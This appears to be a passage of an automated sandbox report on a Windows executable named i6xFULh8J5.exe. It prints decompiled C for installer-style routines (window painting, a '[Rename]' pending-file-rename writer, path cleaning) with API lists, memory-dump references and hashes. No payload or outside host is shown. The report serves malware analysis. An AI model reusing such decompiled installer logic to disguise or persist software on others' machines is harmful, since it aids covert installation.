                                                                                                        							}
                                                                                                        							return 1;
                                                                                                        						}
                                                                                                        					}
                                                                                                        					if(_a12 >> 0x10 != 0 ||  *0x420480 != 0) {
                                                                                                        						goto L25;
                                                                                                        					} else {
                                                                                                        						_t112 =  *0x41fc70 + 0x14;
                                                                                                        						if(( *_t112 & 0x00000020) == 0) {
                                                                                                        							goto L25;
                                                                                                        						}
                                                                                                        						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
                                                                                                        						E00403F3A(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
                                                                                                        						E004042EB();
                                                                                                        						goto L11;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				_t98 = _a16;
                                                                                                        				_t113 =  *(_t98 + 0x30);
                                                                                                        				if(_t113 < 0) {
                                                                                                        					_t113 =  *( *0x42367c - 4 + _t113 * 4);
                                                                                                        				}
                                                                                                        				_push( *((intOrPtr*)(_t98 + 0x34)));
                                                                                                        				_t114 = _t113 +  *0x423ed8;
                                                                                                        				_push(0x22);
                                                                                                        				_a16 =  *_t114;
                                                                                                        				_v12 = _v12 & 0x00000000;
                                                                                                        				_t115 = _t114 + 1;
                                                                                                        				_v16 = _t115;
                                                                                                        				_v8 = E0040402C;
                                                                                                        				E00403F18(_a4);
                                                                                                        				_push( *((intOrPtr*)(_t98 + 0x38)));
                                                                                                        				_push(0x23);
                                                                                                        				E00403F18(_a4);
                                                                                                        				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
                                                                                                        				E00403F3A( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
                                                                                                        				_t99 = GetDlgItem(_a4, 0x3e8);
                                                                                                        				E00403F4D(_t99);
                                                                                                        				SendMessageA(_t99, 0x45b, 1, 0);
                                                                                                        				_t86 =  *( *0x423eb0 + 0x68);
                                                                                                        				if(_t86 < 0) {
                                                                                                        					_t86 = GetSysColor( ~_t86);
                                                                                                        				}
                                                                                                        				SendMessageA(_t99, 0x443, 0, _t86);
                                                                                                        				SendMessageA(_t99, 0x445, 0, 0x4010000);
                                                                                                        				 *0x41f464 =  *0x41f464 & 0x00000000;
                                                                                                        				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
                                                                                                        				SendMessageA(_t99, 0x449, _a16,  &_v16);
                                                                                                        				 *0x420480 =  *0x420480 & 0x00000000;
                                                                                                        				return 0;
                                                                                                        			}

















                                                                                                        0x00404070
                                                                                                        0x00404196
                                                                                                        0x004041f2
                                                                                                        0x004041f6
                                                                                                        0x004042cd
                                                                                                        0x004042cf
                                                                                                        0x004042cf
                                                                                                        0x004042d5
                                                                                                        0x004042d5
                                                                                                        0x004042d8
                                                                                                        0x00000000
                                                                                                        0x004042df
                                                                                                        0x00404204
                                                                                                        0x00404206
                                                                                                        0x00404210
                                                                                                        0x0040421b
                                                                                                        0x0040421e
                                                                                                        0x00404221
                                                                                                        0x0040422c
                                                                                                        0x0040422f
                                                                                                        0x00404236
                                                                                                        0x00404244
                                                                                                        0x0040425c
                                                                                                        0x00404264
                                                                                                        0x0040426f
                                                                                                        0x0040427f
                                                                                                        0x00404281
                                                                                                        0x00404281
                                                                                                        0x00404236
                                                                                                        0x0040428b
                                                                                                        0x00000000
                                                                                                        0x00404296
                                                                                                        0x0040429a
                                                                                                        0x004042ab
                                                                                                        0x004042ab
                                                                                                        0x004042b1
                                                                                                        0x004042bf
                                                                                                        0x004042bf
                                                                                                        0x00000000
                                                                                                        0x004042c3
                                                                                                        0x0040428b
                                                                                                        0x004041a1
                                                                                                        0x00000000
                                                                                                        0x004041b5
                                                                                                        0x004041bb
                                                                                                        0x004041c1
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004041e6
                                                                                                        0x004041e8
                                                                                                        0x004041ed
                                                                                                        0x00000000
                                                                                                        0x004041ed
                                                                                                        0x004041a1
                                                                                                        0x00404076
                                                                                                        0x00404079
                                                                                                        0x0040407e
                                                                                                        0x0040408f
                                                                                                        0x0040408f
                                                                                                        0x00404096
                                                                                                        0x00404099
                                                                                                        0x0040409b
                                                                                                        0x004040a0
                                                                                                        0x004040a9
                                                                                                        0x004040af
                                                                                                        0x004040bb
                                                                                                        0x004040be
                                                                                                        0x004040c7
                                                                                                        0x004040cc
                                                                                                        0x004040cf
                                                                                                        0x004040d4
                                                                                                        0x004040eb
                                                                                                        0x004040f2
                                                                                                        0x00404105
                                                                                                        0x00404108
                                                                                                        0x0040411d
                                                                                                        0x00404124
                                                                                                        0x00404129
                                                                                                        0x0040412e
                                                                                                        0x0040412e
                                                                                                        0x0040413d
                                                                                                        0x0040414c
                                                                                                        0x0040414e
                                                                                                        0x00404164
                                                                                                        0x00404173
                                                                                                        0x00404175
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
                                                                                                        • String ID: @.B$N$open
                                                                                                        • API String ID: 3615053054-3815657624
                                                                                                        • Opcode ID: e8b988e3949f0b6d91b1b58256fef292242953983a672fd1ea6cb44b2e1e2ed0
                                                                                                        • Instruction ID: 7761d7a6ce13443680711406d70bf9c6d022160e69bfd2fffc9b265f6460a43d
                                                                                                        • Opcode Fuzzy Hash: e8b988e3949f0b6d91b1b58256fef292242953983a672fd1ea6cb44b2e1e2ed0
                                                                                                        • Instruction Fuzzy Hash: 4661B2B1A40209BFEB109F60DC45F6A3B69FB44755F10817AFB04BA2D1C7B8A951CF98
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 90%
                                                                                                        			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
                                                                                                        				struct tagLOGBRUSH _v16;
                                                                                                        				struct tagRECT _v32;
                                                                                                        				struct tagPAINTSTRUCT _v96;
                                                                                                        				struct HDC__* _t70;
                                                                                                        				struct HBRUSH__* _t87;
                                                                                                        				struct HFONT__* _t94;
                                                                                                        				long _t102;
                                                                                                        				signed int _t126;
                                                                                                        				struct HDC__* _t128;
                                                                                                        				intOrPtr _t130;
                                                                                                        
                                                                                                        				if(_a8 == 0xf) {
                                                                                                        					_t130 =  *0x423eb0;
                                                                                                        					_t70 = BeginPaint(_a4,  &_v96);
                                                                                                        					_v16.lbStyle = _v16.lbStyle & 0x00000000;
                                                                                                        					_a8 = _t70;
                                                                                                        					GetClientRect(_a4,  &_v32);
                                                                                                        					_t126 = _v32.bottom;
                                                                                                        					_v32.bottom = _v32.bottom & 0x00000000;
                                                                                                        					while(_v32.top < _t126) {
                                                                                                        						_a12 = _t126 - _v32.top;
                                                                                                        						asm("cdq");
                                                                                                        						asm("cdq");
                                                                                                        						asm("cdq");
                                                                                                        						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
                                                                                                        						_t87 = CreateBrushIndirect( &_v16);
                                                                                                        						_v32.bottom = _v32.bottom + 4;
                                                                                                        						_a16 = _t87;
                                                                                                        						FillRect(_a8,  &_v32, _t87);
                                                                                                        						DeleteObject(_a16);
                                                                                                        						_v32.top = _v32.top + 4;
                                                                                                        					}
                                                                                                        					if( *(_t130 + 0x58) != 0xffffffff) {
                                                                                                        						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
                                                                                                        						_a16 = _t94;
                                                                                                        						if(_t94 != 0) {
                                                                                                        							_t128 = _a8;
                                                                                                        							_v32.left = 0x10;
                                                                                                        							_v32.top = 8;
                                                                                                        							SetBkMode(_t128, 1);
                                                                                                        							SetTextColor(_t128,  *(_t130 + 0x58));
                                                                                                        							_a8 = SelectObject(_t128, _a16);
                                                                                                        							DrawTextA(_t128, 0x4236a0, 0xffffffff,  &_v32, 0x820);
                                                                                                        							SelectObject(_t128, _a8);
                                                                                                        							DeleteObject(_a16);
                                                                                                        						}
                                                                                                        					}
                                                                                                        					EndPaint(_a4,  &_v96);
                                                                                                        					return 0;
                                                                                                        				}
                                                                                                        				_t102 = _a16;
                                                                                                        				if(_a8 == 0x46) {
                                                                                                        					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
                                                                                                        					 *((intOrPtr*)(_t102 + 4)) =  *0x423ea8;
                                                                                                        				}
                                                                                                        				return DefWindowProcA(_a4, _a8, _a12, _t102);
                                                                                                        			}













                                                                                                        0x0040100a
                                                                                                        0x00401039
                                                                                                        0x00401047
                                                                                                        0x0040104d
                                                                                                        0x00401051
                                                                                                        0x0040105b
                                                                                                        0x00401061
                                                                                                        0x00401064
                                                                                                        0x004010f3
                                                                                                        0x00401089
                                                                                                        0x0040108c
                                                                                                        0x004010a6
                                                                                                        0x004010bd
                                                                                                        0x004010cc
                                                                                                        0x004010cf
                                                                                                        0x004010d5
                                                                                                        0x004010d9
                                                                                                        0x004010e4
                                                                                                        0x004010ed
                                                                                                        0x004010ef
                                                                                                        0x004010ef
                                                                                                        0x00401100
                                                                                                        0x00401105
                                                                                                        0x0040110d
                                                                                                        0x00401110
                                                                                                        0x00401112
                                                                                                        0x00401118
                                                                                                        0x0040111f
                                                                                                        0x00401126
                                                                                                        0x00401130
                                                                                                        0x00401142
                                                                                                        0x00401156
                                                                                                        0x00401160
                                                                                                        0x00401165
                                                                                                        0x00401165
                                                                                                        0x00401110
                                                                                                        0x0040116e
                                                                                                        0x00000000
                                                                                                        0x00401178
                                                                                                        0x00401010
                                                                                                        0x00401013
                                                                                                        0x00401015
                                                                                                        0x0040101f
                                                                                                        0x0040101f
                                                                                                        0x00000000

                                                                                                        APIs
                                                                                                        • DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
                                                                                                        • BeginPaint.USER32(?,?), ref: 00401047
                                                                                                        • GetClientRect.USER32 ref: 0040105B
                                                                                                        • CreateBrushIndirect.GDI32(00000000), ref: 004010CF
                                                                                                        • FillRect.USER32 ref: 004010E4
                                                                                                        • DeleteObject.GDI32(?), ref: 004010ED
                                                                                                        • CreateFontIndirectA.GDI32(?), ref: 00401105
                                                                                                        • SetBkMode.GDI32(00000000,00000001), ref: 00401126
                                                                                                        • SetTextColor.GDI32(00000000,000000FF), ref: 00401130
                                                                                                        • SelectObject.GDI32(00000000,?), ref: 00401140
                                                                                                        • DrawTextA.USER32(00000000,004236A0,000000FF,00000010,00000820), ref: 00401156
                                                                                                        • SelectObject.GDI32(00000000,00000000), ref: 00401160
                                                                                                        • DeleteObject.GDI32(?), ref: 00401165
                                                                                                        • EndPaint.USER32(?,?), ref: 0040116E
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                                                                                        • String ID: F
                                                                                                        • API String ID: 941294808-1304234792
                                                                                                        • Opcode ID: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
                                                                                                        • Instruction ID: 81477e3a2fde3fb3f26aa953fc06e347994717d76cab2c79682594c458f31f57
                                                                                                        • Opcode Fuzzy Hash: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
                                                                                                        • Instruction Fuzzy Hash: 8141BC71804249AFCB058FA4CD459BFBFB9FF44314F00802AF551AA1A0C378EA54DFA5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 93%
                                                                                                        			E004058B4() {
                                                                                                        				void* __ebx;
                                                                                                        				void* __edi;
                                                                                                        				void* __esi;
                                                                                                        				intOrPtr* _t15;
                                                                                                        				long _t16;
                                                                                                        				int _t20;
                                                                                                        				void* _t28;
                                                                                                        				long _t29;
                                                                                                        				intOrPtr* _t37;
                                                                                                        				int _t43;
                                                                                                        				void* _t44;
                                                                                                        				long _t47;
                                                                                                        				CHAR* _t49;
                                                                                                        				void* _t51;
                                                                                                        				void* _t53;
                                                                                                        				intOrPtr* _t54;
                                                                                                        				void* _t55;
                                                                                                        				void* _t56;
                                                                                                        
                                                                                                        				_t15 = E00405E88(1);
                                                                                                        				_t49 =  *(_t55 + 0x18);
                                                                                                        				if(_t15 != 0) {
                                                                                                        					_t20 =  *_t15( *(_t55 + 0x1c), _t49, 5);
                                                                                                        					if(_t20 != 0) {
                                                                                                        						L16:
                                                                                                        						 *0x423f30 =  *0x423f30 + 1;
                                                                                                        						return _t20;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				 *0x422630 = 0x4c554e;
                                                                                                        				if(_t49 == 0) {
                                                                                                        					L5:
                                                                                                        					_t16 = GetShortPathNameA( *(_t55 + 0x1c), 0x4220a8, 0x400);
                                                                                                        					if(_t16 != 0 && _t16 <= 0x400) {
                                                                                                        						_t43 = wsprintfA(0x421ca8, "%s=%s\r\n", 0x422630, 0x4220a8);
                                                                                                        						_t56 = _t55 + 0x10;
                                                                                                        						E00405B88(_t43, 0x400, 0x4220a8, 0x4220a8,  *((intOrPtr*)( *0x423eb0 + 0x128)));
                                                                                                        						_t20 = E0040583D(0x4220a8, 0xc0000000, 4);
                                                                                                        						_t53 = _t20;
                                                                                                        						 *(_t56 + 0x14) = _t53;
                                                                                                        						if(_t53 == 0xffffffff) {
                                                                                                        							goto L16;
                                                                                                        						}
                                                                                                        						_t47 = GetFileSize(_t53, 0);
                                                                                                        						_t7 = _t43 + 0xa; // 0xa
                                                                                                        						_t51 = GlobalAlloc(0x40, _t47 + _t7);
                                                                                                        						if(_t51 == 0 || ReadFile(_t53, _t51, _t47, _t56 + 0x18, 0) == 0 || _t47 !=  *(_t56 + 0x18)) {
                                                                                                        							L15:
                                                                                                        							_t20 = CloseHandle(_t53);
                                                                                                        							goto L16;
                                                                                                        						} else {
                                                                                                        							if(E004057B2(_t51, "[Rename]\r\n") != 0) {
                                                                                                        								_t28 = E004057B2(_t26 + 0xa, 0x409350);
                                                                                                        								if(_t28 == 0) {
                                                                                                        									L13:
                                                                                                        									_t29 = _t47;
                                                                                                        									L14:
                                                                                                        									E004057FE(_t51 + _t29, 0x421ca8, _t43);
                                                                                                        									SetFilePointer(_t53, 0, 0, 0);
                                                                                                        									WriteFile(_t53, _t51, _t47 + _t43, _t56 + 0x18, 0);
                                                                                                        									GlobalFree(_t51);
                                                                                                        									goto L15;
                                                                                                        								}
                                                                                                        								_t37 = _t28 + 1;
                                                                                                        								_t44 = _t51 + _t47;
                                                                                                        								_t54 = _t37;
                                                                                                        								if(_t37 >= _t44) {
                                                                                                        									L21:
                                                                                                        									_t53 =  *(_t56 + 0x14);
                                                                                                        									_t29 = _t37 - _t51;
                                                                                                        									goto L14;
                                                                                                        								} else {
                                                                                                        									goto L20;
                                                                                                        								}
                                                                                                        								do {
                                                                                                        									L20:
                                                                                                        									 *((char*)(_t43 + _t54)) =  *_t54;
                                                                                                        									_t54 = _t54 + 1;
                                                                                                        								} while (_t54 < _t44);
                                                                                                        								goto L21;
                                                                                                        							}
                                                                                                        							E00405B66(_t51 + _t47, "[Rename]\r\n");
                                                                                                        							_t47 = _t47 + 0xa;
                                                                                                        							goto L13;
                                                                                                        						}
                                                                                                        					}
                                                                                                        				} else {
                                                                                                        					CloseHandle(E0040583D(_t49, 0, 1));
                                                                                                        					_t16 = GetShortPathNameA(_t49, 0x422630, 0x400);
                                                                                                        					if(_t16 != 0 && _t16 <= 0x400) {
                                                                                                        						goto L5;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				return _t16;
                                                                                                        			}





















                                                                                                        0x004058ba
                                                                                                        0x004058c1
                                                                                                        0x004058c5
                                                                                                        0x004058ce
                                                                                                        0x004058d2
                                                                                                        0x00405a11
                                                                                                        0x00405a11
                                                                                                        0x00000000
                                                                                                        0x00405a11
                                                                                                        0x004058d2
                                                                                                        0x004058de
                                                                                                        0x004058f4
                                                                                                        0x0040591c
                                                                                                        0x00405927
                                                                                                        0x0040592b
                                                                                                        0x0040594b
                                                                                                        0x00405952
                                                                                                        0x0040595c
                                                                                                        0x00405969
                                                                                                        0x0040596e
                                                                                                        0x00405973
                                                                                                        0x00405977
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405986
                                                                                                        0x00405988
                                                                                                        0x00405995
                                                                                                        0x00405999
                                                                                                        0x00405a0a
                                                                                                        0x00405a0b
                                                                                                        0x00000000
                                                                                                        0x004059b5
                                                                                                        0x004059c2
                                                                                                        0x00405a27
                                                                                                        0x00405a2e
                                                                                                        0x004059d5
                                                                                                        0x004059d5
                                                                                                        0x004059d7
                                                                                                        0x004059e0
                                                                                                        0x004059eb
                                                                                                        0x004059fd
                                                                                                        0x00405a04
                                                                                                        0x00000000
                                                                                                        0x00405a04
                                                                                                        0x00405a30
                                                                                                        0x00405a31
                                                                                                        0x00405a36
                                                                                                        0x00405a38
                                                                                                        0x00405a45
                                                                                                        0x00405a45
                                                                                                        0x00405a49
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405a3a
                                                                                                        0x00405a3a
                                                                                                        0x00405a3d
                                                                                                        0x00405a40
                                                                                                        0x00405a41
                                                                                                        0x00000000
                                                                                                        0x00405a3a
                                                                                                        0x004059cd
                                                                                                        0x004059d2
                                                                                                        0x00000000
                                                                                                        0x004059d2
                                                                                                        0x00405999
                                                                                                        0x004058f6
                                                                                                        0x00405901
                                                                                                        0x0040590a
                                                                                                        0x0040590e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040590e
                                                                                                        0x00405a1b

                                                                                                        APIs
                                                                                                          • Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
                                                                                                          • Part of subcall function 00405E88: LoadLibraryA.KERNELBASE(?,?,00000000,0040327F,00000008), ref: 00405EA5
                                                                                                          • Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6
                                                                                                        • CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000001,?,00000000,?,?,00405649,?,00000000,000000F1,?), ref: 00405901
                                                                                                        • GetShortPathNameA.KERNEL32(?,00422630,00000400), ref: 0040590A
                                                                                                        • GetShortPathNameA.KERNEL32(00000000,004220A8,00000400), ref: 00405927
                                                                                                        • wsprintfA.USER32 ref: 00405945
                                                                                                        • GetFileSize.KERNEL32(00000000,00000000,004220A8,C0000000,00000004,004220A8,?,?,?,00000000,000000F1,?), ref: 00405980
                                                                                                        • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 0040598F
                                                                                                        • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 004059A5
                                                                                                        • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421CA8,00000000,-0000000A,00409350,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004059EB
                                                                                                        • WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 004059FD
                                                                                                        • GlobalFree.KERNEL32 ref: 00405A04
                                                                                                        • CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405A0B
                                                                                                          • Part of subcall function 004057B2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057B9
                                                                                                          • Part of subcall function 004057B2: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057E9
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
                                                                                                        • String ID: %s=%s$0&B$[Rename]
                                                                                                        • API String ID: 3772915668-951905037
                                                                                                        • Opcode ID: 0c179fa3417d280b53e5d95a4378c92fb06f2b6e7dc6de3d5fc3f6893b1dd3a2
                                                                                                        • Instruction ID: 8912a0e40cac8f66f34925055924fb713260e7a12edb00ecfb1cfbef244c1689
                                                                                                        • Opcode Fuzzy Hash: 0c179fa3417d280b53e5d95a4378c92fb06f2b6e7dc6de3d5fc3f6893b1dd3a2
                                                                                                        • Instruction Fuzzy Hash: D9411332B05B11BBD3216B61AD88F6B3A5CDB84715F140136FE05F22C2E678A801CEBD
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00405DC8(CHAR* _a4) {
                                                                                                        				char _t5;
                                                                                                        				char _t7;
                                                                                                        				char* _t15;
                                                                                                        				char* _t16;
                                                                                                        				CHAR* _t17;
                                                                                                        
                                                                                                        				_t17 = _a4;
                                                                                                        				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
                                                                                                        					_t17 =  &(_t17[4]);
                                                                                                        				}
                                                                                                        				if( *_t17 != 0 && E004056C6(_t17) != 0) {
                                                                                                        					_t17 =  &(_t17[2]);
                                                                                                        				}
                                                                                                        				_t5 =  *_t17;
                                                                                                        				_t15 = _t17;
                                                                                                        				_t16 = _t17;
                                                                                                        				if(_t5 != 0) {
                                                                                                        					do {
                                                                                                        						if(_t5 > 0x1f &&  *((char*)(E00405684("*?|<>/\":", _t5))) == 0) {
                                                                                                        							E004057FE(_t16, _t17, CharNextA(_t17) - _t17);
                                                                                                        							_t16 = CharNextA(_t16);
                                                                                                        						}
                                                                                                        						_t17 = CharNextA(_t17);
                                                                                                        						_t5 =  *_t17;
                                                                                                        					} while (_t5 != 0);
                                                                                                        				}
                                                                                                        				 *_t16 =  *_t16 & 0x00000000;
                                                                                                        				while(1) {
                                                                                                        					_t16 = CharPrevA(_t15, _t16);
                                                                                                        					_t7 =  *_t16;
                                                                                                        					if(_t7 != 0x20 && _t7 != 0x5c) {
                                                                                                        						break;
                                                                                                        					}
                                                                                                        					 *_t16 =  *_t16 & 0x00000000;
                                                                                                        					if(_t15 < _t16) {
                                                                                                        						continue;
                                                                                                        					}
                                                                                                        					break;
                                                                                                        				}
                                                                                                        				return _t7;
                                                                                                        			}








                                                                                                        0x00405dca
                                                                                                        0x00405dd2
                                                                                                        0x00405de6
                                                                                                        0x00405de6
                                                                                                        0x00405dec
                                                                                                        0x00405df9
                                                                                                        0x00405df9
                                                                                                        0x00405dfa
                                                                                                        0x00405dfc
                                                                                                        0x00405e00
                                                                                                        0x00405e02
                                                                                                        0x00405e0b
                                                                                                        0x00405e0d
                                                                                                        0x00405e27
                                                                                                        0x00405e2f
                                                                                                        0x00405e2f
                                                                                                        0x00405e34
                                                                                                        0x00405e36
                                                                                                        0x00405e38
                                                                                                        0x00405e3c
                                                                                                        0x00405e3d
                                                                                                        0x00405e40
                                                                                                        0x00405e48
                                                                                                        0x00405e4a
                                                                                                        0x00405e4e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405e54
                                                                                                        0x00405e59
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405e59
                                                                                                        0x00405e5e

                                                                                                        APIs
                                                                                                        • CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
                                                                                                        • CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
                                                                                                        • CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
                                                                                                        • CharPrevA.USER32(?,?,"C:\Users\user\Desktop\i6xFULh8J5.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Char$Next$Prev
                                                                                                        • String ID: "C:\Users\user\Desktop\i6xFULh8J5.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
                                                                                                        • API String ID: 589700163-4138977374
                                                                                                        • Opcode ID: d60fa47d96b079028a76cfcdb2d30976ede71f36b1f4f1e1bc9c50cb25bd2be5
                                                                                                        • Instruction ID: 3b6179abbfe29fc78842bf11aa846075366cc437f950451d76d565b88bc2b460
                                                                                                        • Opcode Fuzzy Hash: d60fa47d96b079028a76cfcdb2d30976ede71f36b1f4f1e1bc9c50cb25bd2be5
                                                                                                        • Instruction Fuzzy Hash: A0110861805B9129EB3227284C48BBB7F89CF66754F18447FD8C4722C2C67C5D429FAD
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00403F7F(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
                                                                                                        				struct tagLOGBRUSH _v16;
                                                                                                        				long _t35;
                                                                                                        				long _t37;
                                                                                                        				void* _t40;
                                                                                                        				long* _t49;
                                                                                                        
                                                                                                        				if(_a4 + 0xfffffecd > 5) {
                                                                                                        					L15:
                                                                                                        					return 0;
                                                                                                        				}
                                                                                                        				_t49 = GetWindowLongA(_a12, 0xffffffeb);
                                                                                                        				if(_t49 == 0) {
                                                                                                        					goto L15;
                                                                                                        				}
                                                                                                        				_t35 =  *_t49;
                                                                                                        				if((_t49[5] & 0x00000002) != 0) {
                                                                                                        					_t35 = GetSysColor(_t35);
                                                                                                        				}
                                                                                                        				if((_t49[5] & 0x00000001) != 0) {
                                                                                                        					SetTextColor(_a8, _t35);
                                                                                                        				}
                                                                                                        				SetBkMode(_a8, _t49[4]);
                                                                                                        				_t37 = _t49[1];
                                                                                                        				_v16.lbColor = _t37;
                                                                                                        				if((_t49[5] & 0x00000008) != 0) {
                                                                                                        					_t37 = GetSysColor(_t37);
                                                                                                        					_v16.lbColor = _t37;
                                                                                                        				}
                                                                                                        				if((_t49[5] & 0x00000004) != 0) {
                                                                                                        					SetBkColor(_a8, _t37);
                                                                                                        				}
                                                                                                        				if((_t49[5] & 0x00000010) != 0) {
